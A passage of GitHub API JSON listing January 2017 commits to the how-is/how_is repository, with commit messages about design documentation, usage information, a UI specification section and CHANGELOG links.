section.","tree":{"sha":"17a4601ed555888d4734e7b03ba679c467fc7a85","url":"https://api.github.com/repos/how-is/how_is/git/trees/17a4601ed555888d4734e7b03ba679c467fc7a85"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c1a07349b88e3cded20621b76f761a49a1540c61","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c1a07349b88e3cded20621b76f761a49a1540c61","html_url":"https://github.com/how-is/how_is/commit/c1a07349b88e3cded20621b76f761a49a1540c61","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c1a07349b88e3cded20621b76f761a49a1540c61/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"bd1f36cb6cb94dcb5b7c078d8af5776a8dfea5ad","url":"https://api.github.com/repos/how-is/how_is/commits/bd1f36cb6cb94dcb5b7c078d8af5776a8dfea5ad","html_url":"https://github.com/how-is/how_is/commit/bd1f36cb6cb94dcb5b7c078d8af5776a8dfea5ad"},{"sha":"bac61d94a56a32fbb7f177ad4ce0f79eee7517bd","url":"https://api.github.com/repos/how-is/how_is/commits/bac61d94a56a32fbb7f177ad4ce0f79eee7517bd","html_url":"https://github.com/how-is/how_is/commit/bac61d94a56a32fbb7f177ad4ce0f79eee7517bd"}]},{"sha":"bac61d94a56a32fbb7f177ad4ce0f79eee7517bd","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmFjNjFkOTRhNTZhMzJmYmI3ZjE3N2FkNGNlMGY3OWVlZTc1MTdiZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-21T16:05:37Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-21T16:05:37Z"},"message":"[design.md] add ''information about how_is'' section.","tree":{"sha":"17a4601ed555888d4734e7b03ba679c467fc7a85","url":"https://api.github.com/repos/how-is/how_is/git/trees/17a4601ed555888d4734e7b03ba679c467fc7a85"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/bac61d94a56a32fbb7f177ad4ce0f79eee7517bd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/bac61d94a56a32fbb7f177ad4ce0f79eee7517bd","html_url":"https://github.com/how-is/how_is/commit/bac61d94a56a32fbb7f177ad4ce0f79eee7517bd","comments_url":"https://api.github.com/repos/how-is/how_is/commits/bac61d94a56a32fbb7f177ad4ce0f79eee7517bd/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"bd1f36cb6cb94dcb5b7c078d8af5776a8dfea5ad","url":"https://api.github.com/repos/how-is/how_is/commits/bd1f36cb6cb94dcb5b7c078d8af5776a8dfea5ad","html_url":"https://github.com/how-is/how_is/commit/bd1f36cb6cb94dcb5b7c078d8af5776a8dfea5ad"}]},{"sha":"bd1f36cb6cb94dcb5b7c078d8af5776a8dfea5ad","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmQxZjM2Y2I2Y2I5NGRjYjViN2MwNzhkOGFmNTc3NmE4ZGZlYTVhZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-21T14:45:09Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-01-21T14:45:09Z"},"message":"Merge pull request #108 from how-is/specifications\n\nSpecifications","tree":{"sha":"727ddc3d6b349efa1baed39cee0af78331ab10b1","url":"https://api.github.com/repos/how-is/how_is/git/trees/727ddc3d6b349efa1baed39cee0af78331ab10b1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/bd1f36cb6cb94dcb5b7c078d8af5776a8dfea5ad","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/bd1f36cb6cb94dcb5b7c078d8af5776a8dfea5ad","html_url":"https://github.com/how-is/how_is/commit/bd1f36cb6cb94dcb5b7c078d8af5776a8dfea5ad","comments_url":"https://api.github.com/repos/how-is/how_is/commits/bd1f36cb6cb94dcb5b7c078d8af5776a8dfea5ad/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"0ee9d7036054969662e691e546ad29e974fa4ada","url":"https://api.github.com/repos/how-is/how_is/commits/0ee9d7036054969662e691e546ad29e974fa4ada","html_url":"https://github.com/how-is/how_is/commit/0ee9d7036054969662e691e546ad29e974fa4ada"},{"sha":"3a937f1b2fc364b721f8502ae9edb65ba89a1cf8","url":"https://api.github.com/repos/how-is/how_is/commits/3a937f1b2fc364b721f8502ae9edb65ba89a1cf8","html_url":"https://github.com/how-is/how_is/commit/3a937f1b2fc364b721f8502ae9edb65ba89a1cf8"}]},{"sha":"3a937f1b2fc364b721f8502ae9edb65ba89a1cf8","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6M2E5MzdmMWIyZmMzNjRiNzIxZjg1MDJhZTllZGI2NWJhODlhMWNmOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-21T14:44:27Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-01-21T14:44:27Z"},"message":"Merge branch ''master'' into specifications","tree":{"sha":"727ddc3d6b349efa1baed39cee0af78331ab10b1","url":"https://api.github.com/repos/how-is/how_is/git/trees/727ddc3d6b349efa1baed39cee0af78331ab10b1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3a937f1b2fc364b721f8502ae9edb65ba89a1cf8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3a937f1b2fc364b721f8502ae9edb65ba89a1cf8","html_url":"https://github.com/how-is/how_is/commit/3a937f1b2fc364b721f8502ae9edb65ba89a1cf8","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3a937f1b2fc364b721f8502ae9edb65ba89a1cf8/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"c41a67505f916ea91b69819e8cae3f3d423c7a49","url":"https://api.github.com/repos/how-is/how_is/commits/c41a67505f916ea91b69819e8cae3f3d423c7a49","html_url":"https://github.com/how-is/how_is/commit/c41a67505f916ea91b69819e8cae3f3d423c7a49"},{"sha":"0ee9d7036054969662e691e546ad29e974fa4ada","url":"https://api.github.com/repos/how-is/how_is/commits/0ee9d7036054969662e691e546ad29e974fa4ada","html_url":"https://github.com/how-is/how_is/commit/0ee9d7036054969662e691e546ad29e974fa4ada"}]},{"sha":"c41a67505f916ea91b69819e8cae3f3d423c7a49","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzQxYTY3NTA1ZjkxNmVhOTFiNjk4MTllOGNhZTNmM2Q0MjNjN2E0OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-21T14:44:04Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-21T14:44:04Z"},"message":"[design.md] link to README for generating reports using config file and Ruby API","tree":{"sha":"3eda26b9f61cc02f15d33b042bdd1f50bb563726","url":"https://api.github.com/repos/how-is/how_is/git/trees/3eda26b9f61cc02f15d33b042bdd1f50bb563726"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c41a67505f916ea91b69819e8cae3f3d423c7a49","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c41a67505f916ea91b69819e8cae3f3d423c7a49","html_url":"https://github.com/how-is/how_is/commit/c41a67505f916ea91b69819e8cae3f3d423c7a49","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c41a67505f916ea91b69819e8cae3f3d423c7a49/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"b1c2fabf7b2d21e3fc75748bf19ea3807196b6b4","url":"https://api.github.com/repos/how-is/how_is/commits/b1c2fabf7b2d21e3fc75748bf19ea3807196b6b4","html_url":"https://github.com/how-is/how_is/commit/b1c2fabf7b2d21e3fc75748bf19ea3807196b6b4"}]},{"sha":"b1c2fabf7b2d21e3fc75748bf19ea3807196b6b4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjFjMmZhYmY3YjJkMjFlM2ZjNzU3NDhiZjE5ZWEzODA3MTk2YjZiNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-21T14:38:56Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-21T14:38:56Z"},"message":"design document cleanup.","tree":{"sha":"d93f44b4d0d2c76f3d6a33f61ee3b32f374f8aee","url":"https://api.github.com/repos/how-is/how_is/git/trees/d93f44b4d0d2c76f3d6a33f61ee3b32f374f8aee"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b1c2fabf7b2d21e3fc75748bf19ea3807196b6b4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b1c2fabf7b2d21e3fc75748bf19ea3807196b6b4","html_url":"https://github.com/how-is/how_is/commit/b1c2fabf7b2d21e3fc75748bf19ea3807196b6b4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b1c2fabf7b2d21e3fc75748bf19ea3807196b6b4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"a3efee30578c6123df3a48e966c6c2346a545747","url":"https://api.github.com/repos/how-is/how_is/commits/a3efee30578c6123df3a48e966c6c2346a545747","html_url":"https://github.com/how-is/how_is/commit/a3efee30578c6123df3a48e966c6c2346a545747"}]},{"sha":"a3efee30578c6123df3a48e966c6c2346a545747","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YTNlZmVlMzA1NzhjNjEyM2RmM2E0OGU5NjZjNmMyMzQ2YTU0NTc0Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-21T14:28:48Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-21T14:28:48Z"},"message":"Add usage information.","tree":{"sha":"cb8e32aa89ee5f41a23a143b1fc1c459ae68b5a5","url":"https://api.github.com/repos/how-is/how_is/git/trees/cb8e32aa89ee5f41a23a143b1fc1c459ae68b5a5"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/a3efee30578c6123df3a48e966c6c2346a545747","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/a3efee30578c6123df3a48e966c6c2346a545747","html_url":"https://github.com/how-is/how_is/commit/a3efee30578c6123df3a48e966c6c2346a545747","comments_url":"https://api.github.com/repos/how-is/how_is/commits/a3efee30578c6123df3a48e966c6c2346a545747/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"badbfcb0dc73279c925c5114d2ca7805898f6b5a","url":"https://api.github.com/repos/how-is/how_is/commits/badbfcb0dc73279c925c5114d2ca7805898f6b5a","html_url":"https://github.com/how-is/how_is/commit/badbfcb0dc73279c925c5114d2ca7805898f6b5a"}]},{"sha":"badbfcb0dc73279c925c5114d2ca7805898f6b5a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmFkYmZjYjBkYzczMjc5YzkyNWM1MTE0ZDJjYTc4MDU4OThmNmI1YQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-21T13:50:22Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-21T13:50:22Z"},"message":"Add UI Specification section.","tree":{"sha":"c119725ad7aa48018d0f69f6afcd6a344d2e96ac","url":"https://api.github.com/repos/how-is/how_is/git/trees/c119725ad7aa48018d0f69f6afcd6a344d2e96ac"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/badbfcb0dc73279c925c5114d2ca7805898f6b5a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/badbfcb0dc73279c925c5114d2ca7805898f6b5a","html_url":"https://github.com/how-is/how_is/commit/badbfcb0dc73279c925c5114d2ca7805898f6b5a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/badbfcb0dc73279c925c5114d2ca7805898f6b5a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c4080e80c1ef6469937f7c1ec657ce42ec433836","url":"https://api.github.com/repos/how-is/how_is/commits/c4080e80c1ef6469937f7c1ec657ce42ec433836","html_url":"https://github.com/how-is/how_is/commit/c4080e80c1ef6469937f7c1ec657ce42ec433836"}]},{"sha":"0ee9d7036054969662e691e546ad29e974fa4ada","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGVlOWQ3MDM2MDU0OTY5NjYyZTY5MWU1NDZhZDI5ZTk3NGZhNGFkYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-08T08:27:10Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-01-08T08:27:10Z"},"message":"Merge pull request #107 from how-is/changelog-tag-links\n\nHave CHANGELOG link to code snapshots.","tree":{"sha":"8603d292bf2cd6af16cdf3b660983a6da050fe01","url":"https://api.github.com/repos/how-is/how_is/git/trees/8603d292bf2cd6af16cdf3b660983a6da050fe01"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0ee9d7036054969662e691e546ad29e974fa4ada","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0ee9d7036054969662e691e546ad29e974fa4ada","html_url":"https://github.com/how-is/how_is/commit/0ee9d7036054969662e691e546ad29e974fa4ada","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0ee9d7036054969662e691e546ad29e974fa4ada/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"6caaaf5334e34b670e79575c60c301abdba9b88e","url":"https://api.github.com/repos/how-is/how_is/commits/6caaaf5334e34b670e79575c60c301abdba9b88e","html_url":"https://github.com/how-is/how_is/commit/6caaaf5334e34b670e79575c60c301abdba9b88e"},{"sha":"9467f5bec4c4d80538b3382bf712025d481e8f83","url":"https://api.github.com/repos/how-is/how_is/commits/9467f5bec4c4d80538b3382bf712025d481e8f83","html_url":"https://github.com/how-is/how_is/commit/9467f5bec4c4d80538b3382bf712025d481e8f83"}]},{"sha":"9467f5bec4c4d80538b3382bf712025d481e8f83","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTQ2N2Y1YmVjNGM0ZDgwNTM4YjMzODJiZjcxMjAyNWQ0ODFlOGY4Mw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-08T08:24:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-08T08:24:07Z"},"message":"Have CHANGELOG link to code snapshots.","tree":{"sha":"8603d292bf2cd6af16cdf3b660983a6da050fe01","url":"https://api.github.com/repos/how-is/how_is/git/trees/8603d292bf2cd6af16cdf3b660983a6da050fe01"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9467f5bec4c4d80538b3382bf712025d481e8f83","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9467f5bec4c4d80538b3382bf712025d481e8f83","html_url":"https://github.com/how-is/how_is/commit/9467f5bec4c4d80538b3382bf712025d481e8f83","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9467f5bec4c4d80538b3382bf712025d481e8f83/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","g